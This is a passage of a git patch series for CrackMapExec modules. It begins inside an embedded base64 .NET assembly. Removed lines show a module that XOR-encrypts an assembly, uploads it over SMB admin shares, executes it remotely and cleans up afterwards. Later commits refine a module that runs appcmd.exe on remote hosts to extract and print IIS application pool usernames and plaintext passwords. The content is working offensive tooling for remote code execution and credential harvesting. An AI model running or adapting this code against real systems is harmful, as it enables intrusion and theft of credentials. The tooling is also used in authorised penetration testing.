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") - self.assembly_name = module_options.get('assembly_name', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".exe") - self.assembly_path = module_options.get('assembly_path', '') - self.use_embedded = True - - if 'assembly_path' in module_options: - self.assembly_path = module_options['assembly_path'] - self.use_embedded = False - else: - if sys.platform == "win32": - appdata_path = os.getenv('APPDATA') - if not os.path.exists(appdata_path + "\CME"): - os.mkdir(appdata_path + "\CME") - self.assembly_path = appdata_path + "\CME\\" - else: - if not os.path.exists("/tmp/cme/"): - os.mkdir("/tmp/cme/") - self.assembly_path = "/tmp/cme/" - - if 'assembly_name' in module_options: - self.assembly_name = module_options['assembly_name'] - self.use_embedded = False - - if 'tmp_dir' in module_options: - self.tmp_dir = module_options['tmp_dir'] - - if 'UPLOAD_ASSEMBLY' in module_options: - self.upload_assembly = module_options['UPLOAD_ASSEMBLY'] - else: - self.upload_assembly = '' - - self.web_server_process = None - - - @staticmethod - def random_filename(length=10): - return ''.join(random.choice(string.ascii_lowercase) for i in range(length)) - - def on_admin_login(self, context, connection): - xor_key_used = False - if self.upload_assembly: - xor_key_used = True - try: - upload_assembly_dir = os.path.dirname(self.upload_assembly) - with open(self.upload_assembly, 'rb') as assembly_file: - encrypted_assembly = xor_encrypt(assembly_file.read(), self.xor_key) - random_local_name = self.random_filename() + '.Enc' - encrypted_assembly_path = os.path.join(upload_assembly_dir, random_local_name) - with open(encrypted_assembly_path, 'wb') as enc_assembly_file: - enc_assembly_file.write(encrypted_assembly) - context.log.success(f'Local file {encrypted_assembly_path} created with key {self.xor_key.hex()}') - random_remote_name = random_local_name - remote_temp_path = f'{self.tmp_dir}{random_remote_name}' - with open(encrypted_assembly_path, 'rb') as enc_assembly_file: - connection.conn.putFile(self.share, self.tmp_share + random_remote_name, enc_assembly_file.read) - context.log.success(f'Uploaded file {random_remote_name} to \\{self.share}{self.tmp_share}') - os.remove(encrypted_assembly_path) - context.log.info(f'Local file {encrypted_assembly_path} removed') - except Exception as e: - context.log.error('Error writing file to share {}: {}'.format(self.share, e)) - else: - self.web_server_process = subprocess.Popen(['python3', '-m', 'http.server', '80'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) - context.log.highlight("Started Python HTTP server in the current directory") - - if self.use_embedded: - with open(self.assembly_path + self.assembly_name, 'wb') as assembly_file: - assembly_file.write(self.assembly_embedded64) - - context.log.info('Copy {} to {}'.format(self.assembly_path + self.assembly_name, self.tmp_dir)) - with open(self.assembly_path + self.assembly_name, 'rb') as assembly_file: - remote_temp_path = f'{self.tmp_dir}{self.assembly_name}' - try: - connection.conn.putFile(self.share, self.tmp_share + self.assembly_name, assembly_file.read) - context.log.success('Created file {} on the \\\\{}{}'.format(self.assembly_name, self.share, self.tmp_share)) - os.remove(self.assembly_path + self.assembly_name) - except Exception as e: - context.log.error('Error writing file to share {}: {}'.format(self.share, e)) - - xor_key_string = self.xor_key.decode('utf-8') - uploaded_enc_file = f'{self.tmp_dir}{random_remote_name}' if self.upload_assembly else '' - - if xor_key_used and self.upload_assembly: - exec_command = f'{remote_temp_path} {xor_key_string} {uploaded_enc_file} {self.assembly_args}' - elif xor_key_used: - exec_command = f'{remote_temp_path} {xor_key_string} {self.assembly_args}' - else: - exec_command = f'{remote_temp_path} {self.assembly_args}' - - context.log.info(f'Executing Assembly with command: {exec_command}') - output = connection.execute(exec_command, True) - - if output: - context.log.highlight(f'Script executed successfully, output: {output}') - else: - context.log.error('No output from the executed command') - - try: - if self.upload_assembly: - connection.conn.deleteFile(self.share, self.tmp_share + random_remote_name) - connection.conn.deleteFile(self.share, self.tmp_share + self.assembly_name) - except Exception as e: - context.log.error('Error deleting file from share {}: {}'.format(self.share, e)) - - if self.web_server_process: - self.web_server_process.terminate() - #context.log.highlight("Stopped Python HTTP server") From 761d5cbc03e74cf4cea4e4f4feb5cc0f611465b3 Mon Sep 17 00:00:00 2001 From: Shad0wC0ntr0ller <90877534+Shad0wC0ntr0ller@users.noreply.github.com> Date: Fri, 18 Aug 2023 07:09:01 -0400 Subject: [PATCH 4/7] Update appcmd.py Removed on_login, also added which APPPOOL.NAME the credentials came from --- cme/modules/appcmd.py | 26 +++++++++++--------------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/cme/modules/appcmd.py b/cme/modules/appcmd.py index 8d3acff2..1055b51e 100644 --- a/cme/modules/appcmd.py +++ b/cme/modules/appcmd.py @@ -20,9 +20,6 @@ class CMEModule: def options(self, context, module_options): pass - def on_login(self, context, connection): - self.check_appcmd(context, connection) - def on_admin_login(self, context, connection): self.check_appcmd(context, connection) @@ -50,38 +47,37 @@ class CMEModule: context.log.info(f'Checking For Hidden Credentials With Appcmd.exe') output = connection.execute(command, True) - + # Split the output into lines lines = output.splitlines() username = "" password = "" + apppool_name = "" - + # Create a set to store credentials credentials_set = set() for line in lines: + # Extract APPPOOL.NAME + if 'APPPOOL.NAME:' in line: + apppool_name = line.split('APPPOOL.NAME:')[1].strip().strip('"') if "userName:" in line: username = line.split("userName:")[1].strip().strip('"') if "password:" in line: password = line.split("password:")[1].strip().strip('"') if username and password: - - current_credentials = (username, password) + # Store credentials as tuple in the set + current_credentials = (apppool_name, username, password) if current_credentials not in credentials_set: - credentials_set.add(current_credentials) - - context.log.success(f"Credentials Found") - + context.log.success(f"Credentials Found for APPPOOL: {apppool_name}") context.log.highlight(f"Username: {username}, Password: {password}") - + # Reset username, password, and apppool_name for next iteration username = "" password = "" + apppool_name = "" if not credentials_set: context.log.error("No credentials found :( ") - - #context.log.success("Command executed successfully") - From 0821a8d99d223f4e788b57d5940e981c2b2759bb Mon Sep 17 00:00:00 2001 From: Shad0wC0ntr0ller <90877534+Shad0wC0ntr0ller@users.noreply.github.com> Date: Fri, 18 Aug 2023 09:02:17 -0400 Subject: [PATCH 5/7] Update appcmd.py Change module name to IIS --- cme/modules/appcmd.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/modules/appcmd.py b/cme/modules/appcmd.py index 1055b51e..53d94c28 100644 --- a/cme/modules/appcmd.py +++ b/cme/modules/appcmd.py @@ -8,7 +8,7 @@ class CMEModule: Module by Brandon Fisher @shad0wcntr0ller """ - name = 'appcmd' + name = 'iis' description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe" supported_protocols = ['smb'] opsec_safe = True From 0142a68cb37e95938918a31ce1706845ae626af8 Mon Sep 17 00:00:00 2001 From: Shad0wC0ntr0ller <90877534+Shad0wC0ntr0ller@users.noreply.github.com> Date: Fri, 18 Aug 2023 14:00:11 -0400 Subject: [PATCH 6/7] Update appcmd.py Change context.log.error for context.log.fail --- cme/modules/appcmd.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cme/modules/appcmd.py b/cme/modules/appcmd.py index 53d94c28..274be4de 100644 --- a/cme/modules/appcmd.py +++ b/cme/modules/appcmd.py @@ -39,7 +39,7 @@ class CMEModule: connection.conn.listPath('C$', '\\Windows\\System32\\inetsrv\\appcmd.exe') self.execute_appcmd(context, connection) except: - context.log.error("appcmd.exe not found, this module is not applicable.") + context.log.fail("appcmd.exe not found, this module is not applicable.") return def execute_appcmd(self, context, connection): @@ -80,4 +80,4 @@ class CMEModule: apppool_name = "" if not credentials_set: - context.log.error("No credentials found :( ") + context.log.fail("No credentials found :( ") From fad3f48a46e7809fdb4b33c201ed0500f668acdd Mon Sep 17 00:00:00 2001 From: Shad0wC0ntr0ller <90877534+Shad0wC0ntr0ller@users.noreply.github.com> Date: Fri, 18 Aug 2023 14:43:11 -0400 Subject: [PATCH 7/7] Update appcmd.py Added Option to show Usernames that dont have a password / BlankPW --- cme/modules/appcmd.py | 34 ++++++++++++++++++---------------- 1 file changed, 18 insertions(+), 16 deletions(-) diff --git a/cme/modules/appcmd.py b/cme/modules/appcmd.py index 274be4de..ac6340df 100644 --- a/cme/modules/appcmd.py +++ b/cme/modules/appcmd.py @@ -46,18 +46,15 @@ class CMEModule: command = f'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"' context.log.info(f'Checking For Hidden Credentials With Appcmd.exe') output = connection.execute(command, True) - - # Split the output into lines + lines = output.splitlines() - username = "" - password = "" - apppool_name = "" + username = None + password = None + apppool_name = None - # Create a set to store credentials credentials_set = set() for line in lines: - # Extract APPPOOL.NAME if 'APPPOOL.NAME:' in line: apppool_name = line.split('APPPOOL.NAME:')[1].strip().strip('"') if "userName:" in line: @@ -65,19 +62,24 @@ class CMEModule: if "password:" in line: password = line.split("password:")[1].strip().strip('"') - if username and password: - # Store credentials as tuple in the set + + if apppool_name and username is not None and password is not None: current_credentials = (apppool_name, username, password) if current_credentials not in credentials_set: credentials_set.add(current_credentials) - context.log.success(f"Credentials Found for APPPOOL: {apppool_name}") - context.log.highlight(f"Username: {username}, Password: {password}") + + if username: + context.log.success(f"Credentials Found for APPPOOL: {apppool_name}") + if password == "": + context.log.highlight(f"Username: {username} - User Does Not Have A Password") + else: + context.log.highlight(f"Username: {username}, Password: {password}") - # Reset username, password, and apppool_name for next iteration - username = "" - password = "" - apppool_name = "" + + username = None + password = None + apppool_name = None if not credentials_set: - context.log.fail("No credentials found :( ") + context.log.fail("No credentials found :(")